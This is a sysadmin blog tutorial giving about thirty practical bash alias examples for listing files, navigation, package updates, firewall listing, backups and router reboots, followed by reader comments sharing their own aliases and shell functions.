An bash alias is nothing but the shortcut to commands. The alias command allows the user to launch any command or group of commands (including options and filenames) by entering a single word. Use alias command to display a list of all defined aliases. You can add user-defined aliases to ~/.bashrc file. You can cut down typing time with these aliases, work smartly, and increase productivity at the command prompt.
This post shows how to create and use aliases including 30 practical examples of bash shell aliases.

More about bash alias
The general syntax for the alias command for the bash shell is as follows:
How to list bash aliases
Type the following alias command:
alias
Sample outputs:
alias ..='cd ..'
alias amazonbackup='s3backup'
alias apt-get='sudo apt-get'
...
By default alias command shows a list of aliases that are defined for the current user.
How to define or create a bash shell alias
To create the alias use the following syntax:
alias name=value
alias name='command'
alias name='command arg1 arg2'
alias name='/path/to/script'
alias name='/path/to/script.pl arg1' |
alias name=value
alias name='command'
alias name='command arg1 arg2'
alias name='/path/to/script'
alias name='/path/to/script.pl arg1'
In this example, create the alias c for the commonly used clear command, which clears the screen, by typing the following command and then pressing the ENTER key:
Then, to clear the screen, instead of typing clear, you would only have to type the letter ‘c’ and press the [ENTER] key:
How to disable a bash alias temporarily
An alias can be disabled temporarily using the following syntax:
## path/to/full/command
/usr/bin/clear
## call alias with a backslash ##
\c
## use /bin/ls command and avoid ls alias ##
command ls |
## path/to/full/command
/usr/bin/clear
## call alias with a backslash ##
\c
## use /bin/ls command and avoid ls alias ##
command ls
How to delete/remove a bash alias
You need to use the command called unalias to remove aliases. Its syntax is as follows:
unalias aliasname
unalias foo |
unalias aliasname
unalias foo
In this example, remove the alias c which was created in an earlier example:
You also need to delete the alias from the ~/.bashrc file using a text editor (see next section).
The alias c remains in effect only during the current login session. Once you logs out or reboot the system the alias c will be gone. To avoid this problem, add alias to your ~/.bashrc file, enter:
The alias c for the current user can be made permanent by entering the following line:
Save and close the file. System-wide aliases (i.e. aliases for all users) can be put in the /etc/bashrc file. Please note that the alias command is built into a various shells including ksh, tcsh/csh, ash, bash and others.
A note about privileged access
You can add code as follows in ~/.bashrc:
# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
alias reboot='sudo reboot'
alias update='sudo apt-get upgrade'
fi |
# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
alias reboot='sudo reboot'
alias update='sudo apt-get upgrade'
fi
A note about os specific aliases
You can add code as follows in ~/.bashrc using the case statement:
### Get os name via uname ###
_myos="$(uname)"
### add alias as per os using $_myos ###
case $_myos in
Linux) alias foo='/path/to/linux/bin/foo';;
FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
SunOS) alias foo='/path/to/sunos/bin/foo' ;;
*) ;;
esac |
### Get os name via uname ###
_myos="$(uname)" ### add alias as per os using $_myos ###
case $_myos in
Linux) alias foo='/path/to/linux/bin/foo';;
FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
SunOS) alias foo='/path/to/sunos/bin/foo' ;;
*) ;;
esac
30 bash shell aliases examples
You can define various types aliases as follows to save time and increase productivity.
#1: Control ls command output
The ls command lists directory contents and you can colorize the output:
## Colorize the ls output ##
alias ls='ls --color=auto'
## Use a long listing format ##
alias ll='ls -la'
## Show hidden files ##
alias l.='ls -d .* --color=auto' |
## Colorize the ls output ##
alias ls='ls --color=auto' ## Use a long listing format ##
alias ll='ls -la' ## Show hidden files ##
alias l.='ls -d .* --color=auto'
#2: Control cd command behavior
## get rid of command not found ##
alias cd..='cd ..'
## a quick way to get out of current directory ##
alias ..='cd ..'
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..' |
## get rid of command not found ##
alias cd..='cd ..' ## a quick way to get out of current directory ##
alias ..='cd ..'
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..'
#3: Control grep command output
grep command is a command-line utility for searching plain-text files for lines matching a regular expression:
## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto' |
## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
#4: Start calculator with math support
#4: Generate sha1 digest
alias sha1='openssl sha1' |
alias sha1='openssl sha1'
#5: Create parent directories on demand
mkdir command is used to create a directory:
#6: Colorize diff output
You can compare files line by line using diff and use a tool called colordiff to colorize diff output:
# install colordiff package :)
alias diff='colordiff' |
# install colordiff package :)
alias diff='colordiff'
#7: Make mount command output pretty and human readable format
alias mount='mount |column -t' |
alias mount='mount |column -t'
#8: Command short cuts to save time
# handy short cuts #
alias h='history'
alias j='jobs -l' |
# handy short cuts #
alias h='history'
alias j='jobs -l'
#9: Create a new set of commands
alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"' |
alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"'
#10: Set vim as default
alias vi=vim
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim' |
alias vi=vim
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim'
#11: Control output of networking tool called ping
# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2' |
# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2'
#12: Show open ports
Use netstat command to quickly list all TCP/UDP port on the server:
alias ports='netstat -tulanp' |
alias ports='netstat -tulanp'
#13: Wakeup sleeping servers
Wake-on-LAN (WOL) is an Ethernet networking standard that allows a server to be turned on by a network message. You can quickly wakeup nas devices and server using the following aliases:
## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE' |
## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE'
#14: Control firewall (iptables) output
Netfilter is a host-based firewall for Linux operating systems. It is included as part of the Linux distribution and it is activated by default. This post list most common iptables solutions required by a new Linux user to secure his or her Linux operating system from intruders.
## shortcut for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables'
# display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'
alias firewall=iptlist |
## shortcut for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables' # display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'
alias firewall=iptlist
#15: Debug web server / cdn problems with curl
# get web server headers #
alias header='curl -I'
# find out if remote server supports gzip / mod_deflate or not #
alias headerc='curl -I --compress' |
# get web server headers #
alias header='curl -I' # find out if remote server supports gzip / mod_deflate or not #
alias headerc='curl -I --compress'
#16: Add safety nets
# do not delete / or prompt if deleting more than 3 files at a time #
alias rm='rm -I --preserve-root'
# confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias ln='ln -i'
# Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root' |
# do not delete / or prompt if deleting more than 3 files at a time #
alias rm='rm -I --preserve-root' # confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias ln='ln -i' # Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root'
#17: Update Debian Linux server
apt-get command is used for installing packages over the internet (ftp or http). You can also upgrade all packages in a single operations:
# distro specific - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes"
# update on one command
alias update='sudo apt-get update && sudo apt-get upgrade' |
# distro specific - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes" # update on one command
alias update='sudo apt-get update && sudo apt-get upgrade'
#18: Update RHEL / CentOS / Fedora Linux server
yum command is a package management tool for RHEL / CentOS / Fedora Linux and friends:
## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update' |
## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update'
#19: Tune sudo and su
# become root #
alias root='sudo -i'
alias su='sudo -i' |
# become root #
alias root='sudo -i'
alias su='sudo -i'
#20: Pass halt/reboot via sudo
shutdown command bring the Linux / Unix system down:
# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown' |
# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown'
#21: Control web servers
# also pass it via sudo so whoever is admin can reload it without calling you #
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -t'
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apachectl -t -D DUMP_VHOSTS' |
# also pass it via sudo so whoever is admin can reload it without calling you #
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -t'
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apachectl -t -D DUMP_VHOSTS'
#22: Alias into our backup stuff
# if cron fails or if you want backup on demand just run these commands #
# again pass it via sudo so whoever is in admin group can start the job #
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type local --taget /raid1/backups'
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01'
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01 --auth /home/scripts/admin/.authdata/amazon.keys'
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotdaily='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias amazonbackup=s3backup |
# if cron fails or if you want backup on demand just run these commands #
# again pass it via sudo so whoever is in admin group can start the job #
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type local --taget /raid1/backups'
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01'
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01 --auth /home/scripts/admin/.authdata/amazon.keys'
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotdaily='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias amazonbackup=s3backup
#23: Desktop specific – play avi/mp3 files on demand
## play video files in a current directory ##
# cd ~/Download/movie-name
# playavi or vlc
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi'
# play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done'
# play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplayer "$i"; done'
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer "$i"; done'
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer "$i"; done'
# shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *' |
## play video files in a current directory ##
# cd ~/Download/movie-name
# playavi or vlc
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi' # play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done' # play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplayer "$i"; done'
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer "$i"; done'
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer "$i"; done' # shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *'
#24: Set default interfaces for sys admin related commands
vnstat is console-based network traffic monitor. dnstop is console tool to analyze DNS traffic. tcptrack and iftop commands displays information about TCP/UDP connections it sees on a network interface and display bandwidth usage on an interface by host respectively.
## All of our servers eth1 is connected to the Internets via vlan / router etc ##
alias dnstop='dnstop -l 5 eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1'
# work on wlan0 by default #
# Only useful for laptop as all servers are without wireless interface
alias iwconfig='iwconfig wlan0' |
## All of our servers eth1 is connected to the Internets via vlan / router etc ##
alias dnstop='dnstop -l 5 eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1' # work on wlan0 by default #
# Only useful for laptop as all servers are without wireless interface
alias iwconfig='iwconfig wlan0'
#25: Get system memory, cpu usage, and gpu memory info quickly
## pass options to free ##
alias meminfo='free -m -l -t'
## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10'
## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
## Get server cpu info ##
alias cpuinfo='lscpu'
## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ##
## get GPU ram on desktop / laptop##
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log' |
## pass options to free ##
alias meminfo='free -m -l -t' ## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10' ## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10' ## Get server cpu info ##
alias cpuinfo='lscpu' ## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ## ## get GPU ram on desktop / laptop##
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log'
#26: Control Home Router
The curl command can be used to reboot Linksys routers.
# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Router / Gateway from *nix.
alias rebootlinksys="curl -u 'admin:my-super-password' 'http://192.168.1.2/setup.cgi?todo=reboot'"
# Reboot tomato based Asus NT16 wireless bridge
alias reboottomato="ssh admin@192.168.1.1 /sbin/reboot" |
# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Router / Gateway from *nix.
alias rebootlinksys="curl -u 'admin:my-super-password' 'http://192.168.1.2/setup.cgi?todo=reboot'" # Reboot tomato based Asus NT16 wireless bridge
alias reboottomato="ssh admin@192.168.1.1 /sbin/reboot"
#27 Resume wget by default
The GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, and it can resume downloads too:
## this one saved by butt so many times ##
alias wget='wget -c' |
## this one saved by butt so many times ##
alias wget='wget -c'
#28 Use different browser for testing website
## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera'
#default ff
alias ff=ff13
#my default browser
alias browser=chrome |
## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera' #default ff
alias ff=ff13 #my default browser
alias browser=chrome
#29: A note about ssh alias
Do not create ssh alias, instead use ~/.ssh/config OpenSSH SSH client configuration files. It offers more option. An example:
Host server10
Hostname 1.2.3.4
IdentityFile ~/backups/.ssh/id_dsa
user foobar
Port 30000
ForwardX11Trusted yes
TCPKeepAlive yes |
Host server10
Hostname 1.2.3.4
IdentityFile ~/backups/.ssh/id_dsa
user foobar
Port 30000
ForwardX11Trusted yes
TCPKeepAlive yes
You can now connect to peer1 using the following syntax:
$ ssh server10
#30: It’s your turn to share…
## set some other defaults ##
alias df='df -H'
alias du='du -ch'
# top is atop, just like vi is vim
alias top='atop'
## nfsrestart - must be root ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop && umount netapp2:/exports/http && sleep 2 && mount -o rw,sync,rsize=32768,wsize=32768,intr,hard,proto=tcp,fsc natapp2:/exports /http/var/www/html && /etc/init.d/httpd start'
## Memcached server status ##
alias mcdstats='/usr/bin/memcached-tool 10.10.27.11:11211 stats'
alias mcdshow='/usr/bin/memcached-tool 10.10.27.11:11211 display'
## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 10.10.27.11 11211'
## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai'
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon'
## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai --stdin'
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon --stdin' |
## set some other defaults ##
alias df='df -H'
alias du='du -ch' # top is atop, just like vi is vim
alias top='atop' ## nfsrestart - must be root ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop && umount netapp2:/exports/http && sleep 2 && mount -o rw,sync,rsize=32768,wsize=32768,intr,hard,proto=tcp,fsc natapp2:/exports /http/var/www/html && /etc/init.d/httpd start' ## Memcached server status ##
alias mcdstats='/usr/bin/memcached-tool 10.10.27.11:11211 stats'
alias mcdshow='/usr/bin/memcached-tool 10.10.27.11:11211 display' ## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 10.10.27.11 11211' ## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai'
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon' ## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai --stdin'
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon --stdin'
Conclusion
This post summarizes several types of uses for *nix bash aliases:
- Setting default options for a command (e.g. set eth0 as default option for ethtool command via alias ethtool='ethtool eth0' ).
- Correcting typos (cd.. will act as cd .. via alias cd..='cd ..').
- Reducing the amount of typing.
- Setting the default path of a command that exists in several versions on a system (e.g. GNU/grep is located at /usr/local/bin/grep and Unix grep is located at /bin/grep. To use GNU grep use alias grep='/usr/local/bin/grep' ).
- Adding the safety nets to Unix by making commands interactive by setting default options. (e.g. rm, mv, and other commands).
- Compatibility by creating commands for older operating systems such as MS-DOS or other Unix like operating systems (e.g. alias del=rm ).
I’ve shared my aliases that I used over the years to reduce the need for repetitive command line typing. If you know and use any other bash/ksh/csh aliases that can reduce typing, share below in the comments.
See also
Posted by: Vivek Gite
The author is the creator of nixCraft and a seasoned sysadmin and a trainer for the Linux operating system/Unix shell scripting. He has worked with global clients and in various industries, including IT, education, defense and space research, and the nonprofit sector. Follow him on Twitter, Facebook, Google+.
Nice list; found a couple new things I never thought of. To return the favor; my addon..
A nice shell is key in bash imo; I color code my next line based on previous commands return code..
bash_prompt_command() { RTN=$? prevCmd=$(prevCmd $RTN) } PROMPT_COMMAND=bash_prompt_command prevCmd() { if [ $1 == 0 ] ; then echo $GREEN else echo $RED fi } if [ $(tput colors) -gt 0 ] ; then RED=$(tput setaf 1) GREEN=$(tput setaf 2) RST=$(tput op) fi export PS1="[e[36m]u.h.W[e[0m][$prevCmd]>[$RST]"And I liked your .{1,2,3,4} mapping; how I integrated it…
dotSlash="" for i in 1 2 3 4 do dotSlash=${dotSlash}'../'; baseName=".${i}" alias $baseName="cd ${dotSlash}" doneAnd two random quick short ones..
The following is my version of the “up function” I came up with this morning:
# Functions up () { COUNTER=$1 while [[ $COUNTER -gt 0 ]] do UP="${UP}../" COUNTER=$(( $COUNTER -1 )) done echo "cd $UP" cd $UP UP='' }Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)
Usage e.g.:
@linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.
@mchris, I liked cp alias that can show progress.
Appreciate your comments.
Ctrl+L is also a nice quick way to clear the terminal.
Hi!
This isn’t an alias, but for clear screen is very handy the CTRL+L xDD
Have a nice day 😉
TooManySecrets
One that I find useful is:
apt-get with limit
To open last edited file
Try !vim
Nice list. Never knew about some of these aliases and commands.
good list, an alias I use commonly
ll “ls -l”
Nice tricks.
But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .
[root@myhost ~]# alias mount=’mount |column -t’
[root@myhost ~]# mount myserver:/share /mnt
column: myserver:/share: No such file or directory
It’s better to use scripts whith these kinds of commands
You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.
Do it this way:
(note the double “t”) and than you can use the original mount command to do its job.
In reply to comment of “Reopen last edited file in vim”, alternative recommendation that will be more portable to other uses…
vim
Can also use history here; if you edited /etc/host 4 files ago; you can just type host and you’re good to go. Works with all commands; I use it constantly.
(Also, is also incredibly useful. Also accepts direct place in previous commands)
Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.
@oll
And you are done with it. No need to write scripts.
My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:
Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?
A more explicit version of that alias (that I use) would look like:
Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.
this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.
Like it ! Thanks.
Nice commands!
In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:
cdl() { cd"$@"; ls -al; } You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to changeIt is really useful but how do you using this on the alias line….
like
alias …….= ‘………………………..’
I think it’s not possible, because ‘alias’ can’t accept input, just like we did with $1 here.
It should be
cdl() { cd "$@"; ls; }There should be a space between “cd” and “$@”
Here are 4 commands i use for checking out disk usages.
usage is better written as
alias usage=’du -ch 2> /dev/null |tail -1′
Thank you all for your aliases.
I found this one long time ago and it proved to be useful.
# shoot the fat ducks in your current dir and sub dirs
alias ducks=’du -ck | sort -nr | head’
While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.
A better way to do this might be: ‘du -ch | tail -1’
Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:
du -h | awk ‘END{print $1}’
Now you’ll just get something like: 92G
I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.
alias ps2=’ps -ef | grep -v $$ | grep -i ‘
with header:
alias psg=’ps -Helf | grep -v $$ | grep -i -e WCHAN -e ‘
Nice post. Thanks.
@oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:
# This will move you up by one dir when pushing AltGr .
# It will move you back when pushing AltGr Shift .
bind ‘”…”:”pushd ..n”‘ # AltGr .
bind ‘”÷”:”popdn”‘ # AltGr Shift .
Hendrik
One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
alias ll=’ls -l’
and the other one (I can’t remember which was which, sorry) was
alias ll ‘ls -l’
Something to be aware of!
Thanks for this article and the site, V! Keep ’em coming!
I would use a function for df:
df () {
if [[ “$1” = “-gt” ]]; then
x=”-h”
shift
x=$x” $@”
fi
/bin/df $x -P |column -t
}
That way you can put “df -k /tmp” (etc).
… I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.
I also changed “mount” to “mnt” for the column’s:
alias mnt=”mount |column -t”
Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).
A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.
It you want a safety net, do “alias del=’rm -I –preserve_root'”,
^ This x10000.
I’ve made the same mistake before and its horrible.
Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!
Thanks again!
I use this one when I need to find the files that has been added/modified most recently:
alias lt=’ls -alrt’
# file tree alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'" #turn screen off alias screenoff="xset dpms force off" # list folders by size in current directory alias usage="du -h --max-depth=1 | sort -rh" # e.g., up -> go up 1 directory # up 4 -> go up 4 directories up() { dir="" if [[ $1 =~ ^[0-9]+$ ]]; then x=0 while [ $x -lt ${1:-1} ]; do dir=${dir}../ x=$(($x+1)) done else dir=.. fi cd "$dir"; }might be a repost, oops
# ganked these from people #not an alias, but I thought this simpler than the cd control #If you pass no arguments, it just goes up one directory. #If you pass a numeric argument it will go up that number of directories. #If you pass a string argument, it will look for a parent directory with that name and go up to it. up() { dir="" if [ -z "$1" ]; then dir=.. elif [[ $1 =~ ^[0-9]+$ ]]; then x=0 while [ $x -lt ${1:-1} ]; do dir=${dir}../ x=$(($x+1)) done else dir=${PWD%/$1/*}/$1 fi cd "$dir"; #turn screen off alias screenoff="xset dpms force off" #quick file tree alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"a little mistake, not really important if you don’t copy/paste like a dumbass 🙂
alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’
it is “FORWARD”, not “FORWORD”
@em
Thanks for the heads up.
In “Task: Disable an alias temporarily (bash syntax)”
## path/to/full/command
/usr/bin/clear
## call alias with a backslash ##
c ===> This should be clear right?
No.
Previously he set the alias:
alias c=’clear’
so c is correct.
True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:
I used it this way.
I added myself to visudo file with nopasswd privileges.
so that I don’t have to type password when I do “sudo su -“.
Then created alias root=’sudo su -‘
This enables me to log in to root with just “root”.
by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
Regards,
Mac Maha.
I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:
All I have to do then in .bashrc, or .profile, whatever is do this:
OS=$( uname | tr '[:upper:]' ':[lower:]') . $HOME/.aliases-${OS} . $HOME/.environment_variables-${OS}and/or
for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} ) do . ${SCRIPT} doneAnd Larry wins the thread going away!
i have 2 more that haven’t been posted yet:
helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)
and something I use rather frequently when people chose funny file/directory names (sad enough):
chr() { printf \$(printf '%03o' $1) } ord() { printf '%d' "'$1" }edit:
the pb* aliases are especially for piping output to the clipboard and vice versa
That was a great list. Here are some of mine:
